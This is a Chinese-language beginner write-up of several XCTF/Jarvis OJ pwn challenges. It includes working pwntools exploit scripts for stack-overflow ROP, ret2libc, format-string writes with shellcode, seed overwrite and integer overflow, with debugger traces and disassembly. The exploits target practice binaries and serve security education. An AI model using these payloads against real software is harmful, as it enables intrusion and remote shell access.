Mac 环境下 PWN入门系列(二)——leave 指令 leave 指令等于 mov esp,ebp和 pop ebp 两条指令的组合
Mac 环境下 PWN入门系列(二)
0x0 前言
菜鸡入门,刷题可能是比较快的方式,通过刷攻防世界的新手题能快速了解到pwn的各种类型的题目,然后再仔细分析各种类型的考点。
0x1 阅读前注意点
由于我是多次调试的,所以内存地址总会发生变化,所以读者没必要太关注内存地址,由于内存地址偏移量是不变的,我们只关注内存差值就行了。
0x2 实践刷题篇
这次我们接着上一篇的,直接把攻防世界新手区的题目刷完吧。
0x2.1 level2
32位题目地址
64位题目地址(pass)
https://dn.jarvisoj.com/challengefiles/level2_x64.04d700633c6dc26afc6a1e7e9df8c94e
(1)题目描述及其考点
菜鸡请教大神如何获得flag,大神告诉他‘使用面向返回的编程(ROP)就可以了’
考点: ROP
ROP,是因为核心在于利用了指令集中的 ret 指令,改变了指令流的执行顺序。ROP 攻击一般得满足如下条件
- 程序存在溢出,并且可以控制返回地址。
- 可以找到满足条件的 gadgets 以及相应 gadgets 的地址。
如果 gadgets 每次的地址是不固定的,那我们就需要想办法动态获取对应的地址了。
(2)wp
首先日常看保护:
可以看到是32位程序, 开启了NX保护,意味着栈没办法执行代码。
我们打开ida进行分析下
果断跟进那个显然漏洞函数:
我们可以很明显看 buf 的栈大小是: 0x88
这里要注意下 我们是通过填充buf去溢出数据,因为buf和vulnerablefunction函数是在同一个栈的,所以我们这里只能覆盖vulnerablefunction函数新开的栈的内容
一开始我傻傻地以为直接覆盖read函数的返回地址呢,read函数读取数据是从buffer里面读取的,根本不会有溢出的可能性,况且与buf数组也不在同一个栈空间。
而read可以读取0x100这样就存在栈溢出覆盖vulnerable_function函数返回地址为system函数,但是需要注意的是。
这里我们也要控制传入/bin/sh作为system的参数,这里我们可以利用程序内部的/bin/sh字符串地址。
我们可以通过覆盖vulnerable_function 函数栈空间修改ret,达到任意调用system执行任意代码。这里先扔出exp
#! /usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *
context.log_level = 'debug'
# 这个设置debug能看到exp执行的流程
elf = ELF('./pwn6')
sys_addr = elf.symbols['system']
sh_addr = elf.search('/bin/sh').next()
# 这里利用了pwntools两个小用法,方便我们操作
# 我们通过ELF加载elf文件,然后自动搜索里面的函数地址和寻找字符串。
# 这里因为是程序内部存在的,所以我们可以直接找到
# elf.search('/bin/sh').next() 这个其实和我们上面的那个ida直接搜索字符串得到地址是一样的
payload = 'A' * 0x88 + 'B'*0x4 + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)
# 这里0x88是栈空间大小,然后0x4是覆盖掉ebp,后面是调用system+任意的system返回地址+参数
# io = remote('111.198.29.45',51157)
io = process('./pwn6')
io.sendlineafter("Input:\n",payload)
io.interactive()
io.close()
整得有点复杂,直接看其他人写的,也非常容易理解:
IDA按Shift+F12查看字符串,发现有shell
buf需要填充0x92个字符(0x88+0x4)
现在可以构造一个system("/bin/sh")的栈帧,通过控制vulnerable_function函数返回到该栈帧的地址,执行system("/bin/sh")来获取shell
system的地址为08048320
/bin/sh的地址为0804A024
利用代码如下
from pwn import *
r=remote('pwn2.jarvisoj.com',9878)
payload='a'*(0x88+0x4)+p32(0x08048320)+'aaaa'+p32(0x804a024) //跳到system地址,返回地址为0xaaaa,参数为/bin/sh
r.sendline(payload)
r.interactive()
我自己的代码:
#!/usr/bin/python # -*- coding:utf-8 -*- from pwn import * elf = ELF('./level2_32') sys_addr = elf.symbols['system'] print("sys_addr:", sys_addr) sh_addr = next(elf.search(b'/bin/sh')) print("sh_addr:", sh_addr) # payload='a'*(0x88+0x4)+p32(0x08048320)+'aaaa'+p32(0x804a024) payload = b'A' * 0x88 + b'B'*0x4 + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr) print("payload:", payload) c = process("./level2_32") # remote('111.198.29.45', 31559) c.sendlineafter("Input:\n",payload) c.interactive()
执行结果:
root@41e8b15e7e58:/data# python pwn_level2_32.py [*] '/data/level2_32' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) sys_addr: 134513440 sh_addr: 134520868 payload: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB \x83\x04\x08\xef\xbe\xad\xde$\xa0\x04\x08' [+] Starting local process './level2_32': pid 600 [*] Switching to interactive mode $ ls CGfsb get_shell level0 pwn_cgfsb.py pwn_level2.py test_n.c a.out hellopwn level2 pwn_hellopwn.py pwn_level2_32.py when core kaka.c level2_32 pwn_level0.py pwn_when.py $ pwd /data $
(3)动态调试payload
为了更深入理解这个机制,我们可以通过gdb+pwntools来进行动态调试
我们修改下脚本:
#! /usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *
context.log_level = 'debug'
elf = ELF('./pwn6')
sys_addr = elf.symbols['system']
sh_addr = elf.search('/bin/sh').next()
payload = 'A' * 0x88 + 'B'*0x4 + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)
# io = remote('111.198.29.45',45800)
io = process('./pwn6')
context.terminal = ['/usr/bin/tmux', 'splitw', '-h']
# 这里配置tmux纵向显示,
gdb.attach(io)
io.sendlineafter("Input:\n",payload)
io.interactive()
io.close()
然后在docker里面(ps.环境看我第一篇入门文章的配置),执行tmux进入新的终端,然后就可以调试了。
这里介绍下tmux的用法:
tmux的前缀是: ctrl + b 代表进入tmux标志
1.
(1)ctrl + b 然后再按冒号: 进入命令行模式,输入
set -g mouse on 回车之后就可以用滚轮来上下拖动了
(2)我们直接修改配置文件,来长期保持
vim ~/.tmux.conf
set -g mode-mouse on
2.
ctrl+b 然后按住s 可以切换不同的会话
3.
ctrl+b 然后按w可以查看窗口 按n切换到下一个窗口 按p切换到上一个窗口
我们执行下disassemble查看下当前位置
然后finish执行跳出
进入到里面之后,我们打印下栈结构stack 30 如果过长的话 按下回车会继续显示
我们可以看到当前栈EBP寄存器已经被我们传入的数据覆盖了。
那么具体覆盖的过程是怎么样的呢,我们可以更精细化来debugs
一开始我们先不要finish跳出来,我们看下当前的函数调用栈
可以看到是main->vulnerable_function->read->vulnerable_function->main
我们finish执行玩这个函数,就会ret回到read+39继续执行。
可以看到read一下子把我们的payload填充进去,成功复写了vulnerable_function函数的函数调用栈,变成了system然后system的父函数是deadbeed(这个就是我们随便定义的返回地址)
那么具体的复写机制是怎么样的呢,这个我们就需要跟踪程序的执行过程就可以理解为什么这样布置栈数据了(布置公式: sys_plt+p32(0xdeadbeef)+p32(binsh_addr)
我们继续finish跳出read函数回到vulnerable_function函数现场。
接着si 3直接跳到ret看下read函数的栈结构 stack
ret指令的作用:
栈顶字单元出栈,其值赋给EIP寄存器。即实现了一个程序的转移,将栈顶字单元保存的偏移地址作为下一条指令的偏移地址。
上一篇文章说过了,ebp是当前进入函数的指令地址,ebp+4就是下一条指令地址
这就是’A’ * 0x88 + ‘B’*0x4 + p32(sys_addr) 这样组合的原因。
这里我们可以看到ESP就是就是system函数地址了,那么下一条指令就进去了system函数了
我们继续si 跟进 分析下后半段payload(p32(0xdeadbeef) + p32(sh_addr))的原因:
跟着system进去上千行代码是自闭的
其实这个原理就是默认程序调用就是ebp+4 是返回地址,
返回地址+4就是参数值,这个就回到了上面的知识点了,关于参数传递的问题。
push 参数
push 返回地址
push 函数地址
(4) 相关参考文章
0x2.2 string
文件下载地址:
链接:https://pan.baidu.com/s/1E2AYj1OK3ERkvq3EBEHP9A
提取码:pye1
(1) 题目描述及其考点
菜鸡遇到了Dragon,有一位巫师可以帮助他逃离危险,但似乎需要一些要求
考点: 格式化字符串漏洞
(2) wp
拿到题目后checksec
可以看到是64位的,拖到ida里看一下
这里有个v3=malloc(8uLL),查了一下,最后结果貌似就是v3表示的地址存放了68,v3的后面一个,v3[1]是85
v4=v3,后面输出了v4,secret[0]输出的即为68存放的地址,secret[1]输出的是85存放的地址
然后我们点进函数sub_400D72
先输入一个长度小于0xC的name,然后我们再依次分析下面这三个函数
第一个函数,分析一波之后,我们要输入east来继续下去才行,然后看下第二个函数
这个函数当中,我们看到了printf(&format,&format),这里,我们就可以运用格式化字符串的漏洞了。我们可以在上面的v2处输入一个地址,然后通过格式化字符串漏洞改变这个地址中存放的值。对了,不要忘了先输入1让if语句通过
我们再来看第三个函数
首先,这个函数的参数,a1是什么呢?往前面翻,会发现其实就是上文提到过的v4,即65存放的地址,注意这个v4是int型的
在if语句中,可以看出,v1处需要用到shellcode
但是,让v1能够被执行的前提是a1处存放的内容与a1[1]相等,但是,我们知道*a1=68,a1[1]=85,如何让它们相等?这时候想起来前面有个格式化字符串漏洞,我们可以通过这个漏洞使得这两者相等。对此,我们要先知道v2在栈中的位置
如图,那个61616161是我们输入的aaaa,0x80是我们输入的128,数一下,128为第七个参数
下面是代码
from pwn import *
sh=remote('111.198.29.45',39819)
#注意这里一定要有,声明是64位程序,32位和64位的shellcode不一样
context(arch='amd64')
sh.recvuntil("secret[0] is ")
#这里接收v4,即68存放的地址,16是16进制的意思
v4_addr=int(sh.recvuntil('\n'), 16)
sh.sendlineafter("What should your character's name be:","james")
sh.sendlineafter("So, where you will go?east or up?:","east")
sh.sendlineafter("go into there(1), or leave(0)?:","1")
#这里程序需要我们输入int型,而send发送的是str,所以先int再str
sh.sendlineafter("'Give me an address'",str(int(v4_addr)))
#这里"%85c7$n"实现的就是向栈内第七个参数所指向的地址写入85,即将v4处的68改为85
#这里的"%85c7$n"也可以改成'a'*85+%7$n,因为前面有85个字符,所以同样可以写入85
sh.sendlineafter("And, you wish is:","%85c%7$n")
#获取shellcode
shellcode=asm(shellcraft.sh())
sh.sendlineafter("Wizard: I will help you! USE YOU SPELL",shellcode)
sh.interactive()
#把secret[0]改为secret[1],并把后面的"%85c7$n"改为"%68c7$n",同样可以成功
flag:cyberpeace{a33f6431be80f0c7c252a96ba955ceee}
我的代码:
#!/usr/bin/python # -*- coding:utf-8 -*- from pwn import * context(arch='amd64') sh = process("./string") # remote('111.198.29.45', 31559) sh.recvuntil("secret[0] is ") v4_addr=int(sh.recvuntil('\n'), 16) sh.sendlineafter("What should your character's name be:","james") sh.sendlineafter("So, where you will go?east or up?:","east") sh.sendlineafter("go into there(1), or leave(0)?:","1") sh.sendlineafter("'Give me an address'",str(int(v4_addr))) sh.sendlineafter("And, you wish is:","%85c%7$n") shellcode=asm(shellcraft.sh()) sh.sendlineafter("Wizard: I will help you! USE YOU SPELL",shellcode) sh.interactive()
对于7,再度解释:
首先需要确定偏移量,由于是64位程序,
前6个参数从左到右存入寄存器,多余的才存入栈,所以我们最好不要把v3的地址放在格式化字符串中,因为有可能就被存入寄存器了,我们也可以用一个和地址相同长度的字符去尝试一下,一定要相同长度,不然无法确定,会发现在接下来的地址没有找到,所以我们肯定不能把v3的地址放在格式化字符串中,但前面有一个变量,可以存入长整型,我们就可以把地址存入前面的v2,然后测试一下偏移,如下:
可以看出,偏移量是7
上面代码执行时对应函数代码:
unsigned __int64 sub_400BB9() { int v1; // [rsp+4h] [rbp-7Ch] __int64 v2; // [rsp+8h] [rbp-78h] char format; // [rsp+10h] [rbp-70h] unsigned __int64 v4; // [rsp+78h] [rbp-8h] v4 = __readfsqword(0x28u); v2 = 0LL; puts("You travel a short distance east.That's odd, anyone disappear suddenly"); puts(", what happend?! You just travel , and find another hole"); puts("You recall, a big black hole will suckk you into it! Know what should you do?"); puts("go into there(1), or leave(0)?:"); _isoc99_scanf("%d", &v1); if ( v1 == 1 ) { puts("A voice heard in your mind"); puts("'Give me an address'"); # address就是变量v2 _isoc99_scanf("%ld", &v2); # v2变量在这里 puts("And, you wish is:"); _isoc99_scanf("%s", &format); # 格式化字符串输出 puts("Your wish is"); printf(&format, &format); # 利用他确定偏移量7 puts("I hear it, I hear it...."); } return __readfsqword(0x28u) ^ v4; }
由此我们看到偏移地址为7的地方是我们给v2赋的值。
为啥是这样,我还是没有太明白,就写了另外一个程序验证了下,执行到8行输入 AAAA.%08x.%
看看stack情况:08
x.%08
x.%08
x.%08
x.%08
x.%08
x.%08
x.%08
x
────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────
In file: /data/test_printf.c
4 {
5 char format;
6 // char a = "123";
7 scanf("%s", &format);
8 printf(&format, &format);
► 9 return 0;
10 }
────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffec50 —▸ 0x7fffffffed50 ◂— 0x1
01:0008│ 0x7fffffffec58 ◂— 0x4100000000000000
02:0010│ rbp 0x7fffffffec60 ◂— 'AAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x'
03:0018│ 0x7fffffffec68 ◂— '.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x'
04:0020│ 0x7fffffffec70 ◂— '8x.%08x.%08x.%08x.%08x.%08x.%08x'
05:0028│ 0x7fffffffec78 ◂— '%08x.%08x.%08x.%08x.%08x'
06:0030│ 0x7fffffffec80 ◂— 'x.%08x.%08x.%08x'
07:0038│ 0x7fffffffec88 ◂— '08x.%08x'
──────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────
► f 0 55555555517d main+56
f 1 30252e783830252e
f 2 2e783830252e7838
f 3 3830252e78383025
f 4 252e783830252e78
f 5 783830252e783830
f 6 0
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> stack 20
00:0000│ rsp 0x7fffffffec50 —▸ 0x7fffffffed50 ◂— 0x1
01:0008│ 0x7fffffffec58 ◂— 0x4100000000000000 #这里应该是存format,占一个A(0x41)
02:0010│ rbp 0x7fffffffec60 ◂— 'AAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x' #然后剩下的输入字符都覆盖了stack上,按照8字节覆盖(64位机器)
03:0018│ 0x7fffffffec68 ◂— '.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x' # 看吧,和上面的相比,就是差了8字节
04:0020│ 0x7fffffffec70 ◂— '8x.%08x.%08x.%08x.%08x.%08x.%08x'
05:0028│ 0x7fffffffec78 ◂— '%08x.%08x.%08x.%08x.%08x'
06:0030│ 0x7fffffffec80 ◂— 'x.%08x.%08x.%08x'
07:0038│ 0x7fffffffec88 ◂— '08x.%08x'
08:0040│ rsi 0x7fffffffec90 ◂— 0x0
09:0048│ 0x7fffffffec98 ◂— 0xaa59258d6d6356a2
0a:0050│ 0x7fffffffeca0 —▸ 0x555555555060 (_start) ◂— xor ebp, ebp
0b:0058│ 0x7fffffffeca8 ◂— 0x0
-----------------------------
其中,这段代码:printf(&format, &format); 实际上就是在打印stack上的数据,&format里第一个%08X就直接从栈上 0x7fffffffec60 地址处读取数据了,也就是常量字符串'AAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x'的值(是一个地址)。???
再回到之前说的,我们看到偏移地址为7的地方是我们给v2赋的值。
因此我们可以构造payload="%85d%7$n",预先将打印出的v3的地址写到v2,然后将85写入到v2中的地址,即可实现修改v3的内存。
确实有点绕啊、、、、!
(3) 相关参考文章
0x 2.3 guess_num
文件下载地址:
链接:https://pan.baidu.com/s/13uowRQszM6GRvKMEYGG16g
提取码:le64
(1) 题目描述及其考点
菜鸡在玩一个猜数字的游戏,但他无论如何都银不了,你能帮助他么
考点: 栈溢出及其随机数原理
(2) wp
日常看保护,然后开ida。
保护全开
这个题目的基本思路是通过sub_BB0生成一个随机数种子,然后想要我们猜对后面的数列,gets函数因为不限制读取的长度,所以会造成栈溢出,这里涉及到一个很常见的随机数考点,就是计算机里面很多随机数都是伪随机数算法,就是根据一个seed生成一个固定的随机数数列
所以这个题目的考点就回到如何通过栈溢出覆盖掉seed[0]
我们可以看到这里的栈溢出保护没用,因为我们根本不会超出栈空间,
首先是输入一个名字 然后再一次输入10个数字 如果10个数字和rand产生的随机数想同则成功
sub_c3E()函数
直接会cat出flag
rand()函数 产生的是伪随机数 依靠srand()来产生随机数 如果 srand的参数相同 那么rand产生的随机数相同
现在找溢出点 从我们输入的地方看
首先是输入名字
这里可以看到 输入名字的时候可以将seed 覆盖,而seed就是srand的参数,如果我们将seed覆盖掉,我们就可以自己写一个程序利用覆盖的值 产生随机数 这样 本题程序产生的随机数就已经知道了 一次输入就可以了
seed 是unsigned int 型的 在64位中 占4个字节 就是四个字符 然后从名字那倒seed中间有0x20个 然后再用用四个a覆盖掉seed
所以构造payload='a'*0x20+"aaaa"
然后我们看一下用aaaa作为种子产生的随机数是多少(要将aaaa转为十六进制)
那么可以写个exp 也可以直接输入
from pwnimport *
sh=remote("111.198.29.45","31322")
payload='a'0x20+"aaaa"
sh.sendlineafter("Your name:",payload)
num=["5","6","4","6","6","2","3","6","2","2"]
for iin rang(10):
sh.sendlineafter("Please input your guess number:",num[i])
print(sh.recall())
我的工作代码:
#!/usr/bin/python # -*- coding:utf-8 -*- from pwn import * context(arch='amd64') sh = process("./guess_num") # remote('111.198.29.45', 31559) payload=b'a'*0x20+b"aaaa" sh.sendlineafter("Your name:",payload) num=["5","6","4","6","6","2","3","6","2","2"] for i in range(10): sh.sendlineafter("Please input your guess number:",num[i]) print(sh.interactive())
(3)题目小结
这个题目感觉没什么考点,不过能巩固之前学的知识点,而且与一些其他特性结合起来,比如随机数考点,对于我这个摸鱼几年的web选手来说应该比较熟悉了。
0x2.4 int_overflow
文件下载地址:
链接:https://pan.baidu.com/s/1RiL_dBXGdIRsz76Nw0Mj2w
提取码:s8sy
(1) 题目描述及其考点
菜鸡感觉这题似乎没有办法溢出,真的么?
考点: 整数溢出
(2) wp
main()函数
login()函数
关键函数 check_password()
查看有什么字符
可以利用 cat flag 读取flag
首先看check_password()函数
v3 为 unsigned _int8 型的 为8字节 可以 存储的长度 2的8次方=256
v3等于 s的长度
如果v3>=3&&v3<=8 则 是 success
而且可以看到 后边有 strcpy()函数 这里可以进行栈溢出,将s的数据存入到dest中
可以看到dest的长度是14,如果s的长度足够大,将cat flag的地址覆盖到返回地址那,就可以实现读取flag
但是前边有条件 v3是大于3小于8的 此时可以利用整数溢出
v3可以存储最大的长度是256 如果大于这个数将会进行高位截取 对256求余 例如 v3=257 实际多余的部分会直接忽略 等于1
所以 这里s的长度可以是3~8 或者 259~264
这里只要输入s的长度在259~264之间就可以溢出
这里取262
而s就是输入给buf的:
puts("Please input your passwd:"); read(0, &buf, 0x199u); return check_passwd(&buf);
所以可以给read读取输入262字节。
因为要利用 cat flag 这个来获得flag 所以查看一下地址
flag_addr=0x08048694
首先存储dest里的0x14 然后再看一下汇编代码
想要覆盖到返回地址,先使用0x14 个数据覆盖stack拷贝的passed的内存区域,然后使用4字节数据覆盖ebp,再使用"cat flag"的地址覆盖返回地址
函数结尾有个 leave 指令 leave 指令等于 mov esp,ebp和 pop ebp 两条指令的组合,也就是说,在覆盖函数放回地址之前,还有一次出栈操作,出栈数据大小 4 字节,所以要将这个出栈的数据覆盖掉
然后jmp会跳转到下边
NOP"指令即空指令, 2. 运行该指令时单片机什么都不做,但是会占用一个指令的时间
然后就是返回地址了
所以构造paylod="a"*0x14+"aaaa"+p32(0x08048694)+"A"*234(262-0x14-4-4) ///0x14 =十进制20,总共凑齐262个字节,让strlen(s)==262,整数溢出
写exp
form pwn import *
sh=remote("111.198.29.45",43982) //连接这个服务器端口
sh.sendlineafter("choice:","1")
sh.sendlineafter("username:","132")
flag_addr = 0x08048694
payload = "A" * 0x14 + "AAAA" + p32(flag_addr) + "A" * 234
sh.sendlineafter("password:",payload)
print (sh.recvall())
最后我的能够运行代码;
#!/usr/bin/python # -*- coding:utf-8 -*- from pwn import * io = process("./int_overflow") # remote('111.198.29.45', 31559) io.sendlineafter('Your choice:','1') io.sendlineafter('username:','aa') payload = b"A"*24 + p32(0x804868b) +b'A'*234 io.sendlineafter('passwd:',payload) io.interactive()
0x2.5 cgpwn2
文件下载地址:
链接:https://pan.baidu.com/s/1MjaJM7ThNQewgIkpFKl3cg
提取码:v4l7
(1) 题目描述及其考点
菜鸡认为自己需要一个字符串
考点: 栈溢出题目_变形
(2) wp
日常checksec
没有栈溢出保护,上ida
乍看的时候我感觉好像涉及到比较复杂的计算,这个时候我建议直接从后面开始回溯读取,让时间最小化。
结果发现我们只要重点关注最后两行输入就行了。
很明显这里用了gets所以我们可以直接retlibc hello函数
我们查看下有没有system函数,ida查看导入函数表
然后我们还需要找/bin/sh
这里浅浅分析下为什么要找/bin/sh,
1.因为内存地址是动态的,我们没办法知道我们写入的字符串地址
2.我们可以借助一些存放在bss段等可知的内存空间变量
不理解可以查阅相关资料
keyword: 程序是如何加载进内存的
或者后面我会分析一波。
这个题目我们可以利用
fgets(name, 50, stdin);伪造name为一个/bin/sh字符串
我们查看下name的位置,
bingo! 是在bss段(未初始化的变量),所以我们可以写入一个字符串了
这里注意下c语言字符串末尾必须得带上\x00
所以这里就是简单计算的问题了,刚好考验下刚才level2操作,这里我就不赘述了,直接exp
from pwn import *
io = remote('111.198.29.45', 51465)
sh_addr = 0x0804A080
io.sendlineafter('name','/bin/sh\x00')
io.sendlineafter('here:','a'*42 + p32(0x08048420) + p32(0xdeadbeef) + p32(sh_addr)) #0x08048420
是system函数地址,返回地址:p32(0xdeadbeef)
随便写一个,sh_addr是参数
io.interactive()
为啥是42,看stack分布:
-00000038 ; Use data definition commands to create local variables and function arguments. -00000038 ; Two special fields " r" and " s" represent return address and saved registers. -00000038 ; Frame size: 38; Saved regs: 4; Purge: 0 -00000038 ; -00000038 -00000038 db ? ; undefined -00000037 db ? ; undefined -00000036 db ? ; undefined -00000035 db ? ; undefined -00000034 db ? ; undefined -00000033 db ? ; undefined -00000032 db ? ; undefined -00000031 db ? ; undefined -00000030 db ? ; undefined -0000002F db ? ; undefined -0000002E db ? ; undefined -0000002D db ? ; undefined -0000002C db ? ; undefined -0000002B db ? ; undefined -0000002A db ? ; undefined -00000029 db ? ; undefined -00000028 db ? ; undefined -00000027 db ? ; undefined -00000026 s db ? -00000025 db ? ; undefined -00000024 db ? ; undefined -00000023 db ? ; undefined -00000022 db ? ; undefined -00000021 db ? ; undefined -00000020 db ? ; undefined -0000001F db ? ; undefined -0000001E db ? ; undefined -0000001D db ? ; undefined -0000001C db ? ; undefined -0000001B db ? ; undefined -0000001A db ? ; undefined -00000019 db ? ; undefined -00000018 db ? ; undefined -00000017 db ? ; undefined -00000016 db ? ; undefined -00000015 db ? ; undefined -00000014 db ? ; undefined -00000013 db ? ; undefined -00000012 db ? ; undefined -00000011 db ? ; undefined -00000010 db ? ; undefined -0000000F db ? ; undefined -0000000E db ? ; undefined -0000000D db ? ; undefined -0000000C db ? ; undefined -0000000B db ? ; undefined -0000000A db ? ; undefined -00000009 db ? ; undefined -00000008 db ? ; undefined -00000007 db ? ; undefined -00000006 db ? ; undefined -00000005 db ? ; undefined -00000004 db ? ; undefined -00000003 db ? ; undefined -00000002 db ? ; undefined -00000001 db ? ; undefined +00000000 s db 4 dup(?) +00000004 r db 4 dup(?) +00000008 +00000008 ; end of stack variables
r和s相差0x26+4=42. 如何找到system地址:方法,IDA里菜单栏Jump-》jump to function-》找到_system,双击-》可以看到汇编码如下:
.plt:08048420 jmp ds:off_804A01C .plt:08048420 _system endp .plt:08048420 .plt:08048426 ; --------------------------------------------------------------------------- .plt:08048426 push 20h .plt:0804842B jmp sub_80483D0 .plt:08048430 ; [00000006 BYTES: COLLAPSED FUNCTION ___gmon_start__. PRESS CTRL-NUMPAD+ TO EXPAND] .plt:08048436 ; --------------------------------------------------------------------------- .plt:08048436 push 28h .plt:0804843B jmp sub_80483D0 .plt:08048440 ; [00000006 BYTES: COLLAPSED FUNCTION ___libc_start_main. PRESS CTRL-NUMPAD+ TO EXPAND] .plt:08048446 ; --------------------------------------------------------------------------- .plt:08048446 push 30h .plt:0804844B jmp sub_80483D0 .plt:0804844B ; } // starts at 80483D0 .plt:0804844B _plt ends .plt:0804844B
地址:08048420,然后使用tab键,可以看到源码反编译为:
int system(const char *command) { return system(command); }
而sh_addr的地址如何确定?IDA里反汇编:
char *hello() { char *v0; // eax signed int v1; // ebx unsigned int v2; // ecx char *v3; // eax char s; // [esp+12h] [ebp-26h] int v6; // [esp+14h] [ebp-24h] v0 = &s; v1 = 30; if ( (unsigned int)&s & 2 ) { *(_WORD *)&s = 0; v0 = (char *)&v6; v1 = 28; } v2 = 0; do { *(_DWORD *)&v0[v2] = 0; v2 += 4; } while ( v2 < (v1 & 0xFFFFFFFC) ); v3 = &v0[v2]; if ( v1 & 2 ) { *(_WORD *)v3 = 0; v3 += 2; } if ( v1 & 1 ) *v3 = 0; puts("please tell me your name"); fgets(name, 50, stdin); puts("hello,you can leave some message here:"); return gets(&s); }
双击name,可以看到bss里的全局变量:
.bss:0804A080 name db 34h dup(?) ; DATA XREF: hello+77↑o .bss:0804A080 _bss ends .bss:0804A080 .prgend:0804A0B4 ; =========================================================================== .prgend:0804A0B4 .prgend:0804A0B4 ; Segment type: Zero-length .prgend:0804A0B4 _prgend segment byte public '' use32 .prgend:0804A0B4 _end label byte .prgend:0804A0B4 _prgend ends .prgend:0804A0B4
我自己运行的代码:
#!/usr/bin/python # -*- coding:utf-8 -*- from pwn import * r = process("./cgpwn2") # remote('111.198.29.45', 31559) system_adr=0x08048420 name_adr=0x0804A080 payload=b'A'*42+p32(system_adr)+p32(0x0)+p32(name_adr) r.recvuntil("please tell me your name") r.sendline("/bin/sh") r.recvuntil("hello,you can leave some message here:") r.sendline(payload) r.interactive()
0x2.5 level3
(1) 题目描述及其考点
libc!libc!这次没有system,你能帮菜鸡解决这个难题么?
考点: 栈溢出_加强版ROP利用lib.so函数
(2) wp
日常checksec
然后上ida
非常简洁的一个read函数溢出,但是这里没有system和/bin/sh
我们可以看到libc_32.so.6是开了地址随机化的,也就是说里面的函数地址是变化,但是不同函数直接的相对偏移地址是不变的(libc.so文件中各个函数的相对位置和加载到内存中之后各个函数的相对位置相同)
换句话说就是这样:
假设 A在 libc32.so.6中当前的地址是 0x1 B在 libc32.so.6 是0x3 (这个我们可以ida或者readelf查看得到)
当程序进行加载 libc_32.so.6的时候,地址会随机化
假设A 变成了 0x2 那么我们就可以通过计算 0x2 + (0x3-0x1) = 0x4 得到b的地址
那么我们下面就进行具体的操作吧
pwntools的一些基础操作介绍:https://www.cnblogs.com/Ox9A82/p/5728149.html
如果不明白pwntools的指令可以先前去学习一下
首先程序加载的时候会有个映射,这就涉及到plt和got表,其中got表存放的就是函数绝对地址
(关于plt+got动态绑定的知识,后面我会重新细讲一波)。
可以先掌握一些概念
GOT(Global Offset Table): 全局偏移表
PLT(Procedure Link Table): 程序链接表
call printf@plt 就是先去plt表的printf 然后再jmp *printf@got 跳到got表找到真实的printf地址
延迟绑定: 程序在使用外部函数库的时候并不会将所有函数进行链接,而是在使用的时候再重新链接
实现延迟绑定:
jmp “地址”
push “ printf引用在重定位表的“.rel.plt”中的下标”;
jump dlruntime_resolve//这个函数是完成符号解析和重定位的;
_dl_runtime_resolve_avx:找到调用它的函数的真实地址,并将它填入到该函数对应的GOT中
可以提前学习一波这个文章。
回到level3
-
首先查保护,只开了NX,没有canary,那就可以往靠溢出控制程序走向了的方向看题。
-
载入ida后,栈溢出很明显。
-
但利用起来,既没有有system函数,也没有’/bin/sh’。这对于刚接触pwn还是比较困难的,但本来就学习的过程,看了writeup又去学了下.plt与.got再来做的题。
-
其实程序带了一个运行库的,里面有动态链接库的函数及一些其他信息。既然程序里没有自然就利用这个运行库了,根据elf文件与pe文件类似,各个函数与数据的相对地址是不变的。利用这一点与我们在程序中是调用了write与read动态库函数的,随便选择一个得到他们的地址,再根据相对地址相加减就得到我们要的函数与数据(system()与‘/bin/sh’)的地址了(整体思路)。
-
首先计算在运行库里的的read函数与system函数的相对地址。
from pwn import * lib = ELF('./libc_32.so.6') sys_cha = hex(lib.symbols['system']-lib.symbols['read'])
-
计算运行库中read函数与 ‘/bin/sh’的相对地址。先找到 ’/bin/sh’的地址。
ROPgadget --binary libc_32.so.6 --string '/bin/sh'
-
from pwn import * lib = ELF('./libc_32.so.6') bin_cha = hex(0x0015902b-lib.symbols['read'])
-
有 a-b=c,现在我们有了c,只需通过程序溢出就可以找到b, 最后通 a = b+c得到我们要的地址。
from pwn import * p = remote('220.249.52.133', 54407) elf = ELF('./level3') payload = (0x88+4)*'a'+p32(elf.plt['write'])+p32(elf.symbols['main'])+p32(1)+p32(elf.got['read'])+p32(8) p.recvuntil('Input:\n') p.sendline(payload) read_addr = u32(p.recv()[:4])
- 上面为什么是0x88+4看IDA stack情况:
-
-00000088 ; Frame size: 88; Saved regs: 4; Purge: 0 -00000088 ; -00000088 -00000088 buf db ? -00000087 db ? ; undefined -00000086 db ? ; undefined -00000085 db ? ; undefined -00000084 db ? ; undefined -00000083 db ? ; undefined -00000082 db ? ; undefined -00000081 db ? ; undefined -00000080 db ? ; undefined -0000007F db ? ; undefined -0000007E db ? ; undefined -0000007D db ? ; undefined -0000007C db ? ; undefined -0000007B db ? ; undefined -0000007A db ? ; undefined -00000079 db ? ; undefined -00000078 db ? ; undefined -00000077 db ? ; undefined -00000076 db ? ; undefined -00000075 db ? ; undefined -00000074 db ? ; undefined -00000073 db ? ; undefined -00000072 db ? ; undefined -00000071 db ? ; undefined -00000070 db ? ; undefined -0000006F db ? ; undefined -0000006E db ? ; undefined -0000006D db ? ; undefined -0000006C db ? ; undefined -0000006B db ? ; undefined -0000006A db ? ; undefined -00000069 db ? ; undefined -00000068 db ? ; undefined -00000067 db ? ; undefined -00000066 db ? ; undefined -00000065 db ? ; undefined -00000064 db ? ; undefined -00000063 db ? ; undefined -00000062 db ? ; 